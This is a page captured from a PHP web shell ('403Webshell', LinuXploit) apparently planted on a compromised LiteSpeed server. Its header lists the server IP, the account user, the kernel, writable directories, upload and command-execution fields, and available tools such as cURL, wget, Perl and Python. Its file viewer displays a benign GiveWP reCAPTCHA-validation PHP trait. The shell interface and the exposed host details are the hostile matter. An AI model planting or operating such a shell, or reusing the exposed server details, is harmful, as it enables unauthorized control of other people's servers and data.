403Webshell
Server IP : 192.158.238.246  /  Your IP : 3.142.134.67
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/7779/cwd/plugins/give/src/DonorDashboards/Routes/Captcha/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/7779/cwd/plugins/give/src/DonorDashboards/Routes/Captcha/ProtectedRoute.php
<?php

namespace Give\DonorDashboards\Routes\Captcha;

use WP_REST_Request;

/**
 * Note: Functionality forked from `give_email_access_login()`.
 *
 * @since 2.10.2
 */
trait ProtectedRoute
{

    /**
     * @since 2.10.2
     *
     * @return bool
     */
    public function isCaptchaEnabled(): bool
    {
        $recaptcha_key = give_get_option('recaptcha_key');
        $recaptcha_secret = give_get_option('recaptcha_secret');

        return (give_is_setting_enabled(give_get_option('enable_recaptcha'))) &&
            !empty($recaptcha_key) &&
            !empty($recaptcha_secret);
    }

    /**
     * @since 2.10.2
     */
    public function validateRecaptcha(string $value, WP_REST_Request $request, string $param): bool
    {
        if (!$this->isCaptchaEnabled()) {
            return true;
        }

        if (!$value) {
            return false;
        }

        $request = wp_remote_post(
            'https://www.google.com/recaptcha/api/siteverify',
            [
                'body' => [
                    'secret' => give_get_option('recaptcha_secret'),
                    'response' => $value,
                    'remoteip' => $request->get_param('give_ip'),
                ],
            ]
        );

        if (is_wp_error($request)) {
            return false;
        }

        if (200 !== wp_remote_retrieve_response_code($request)) {
            return false;
        }

        $response = json_decode($request['body'], true);

        return (bool)$response['success'];
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit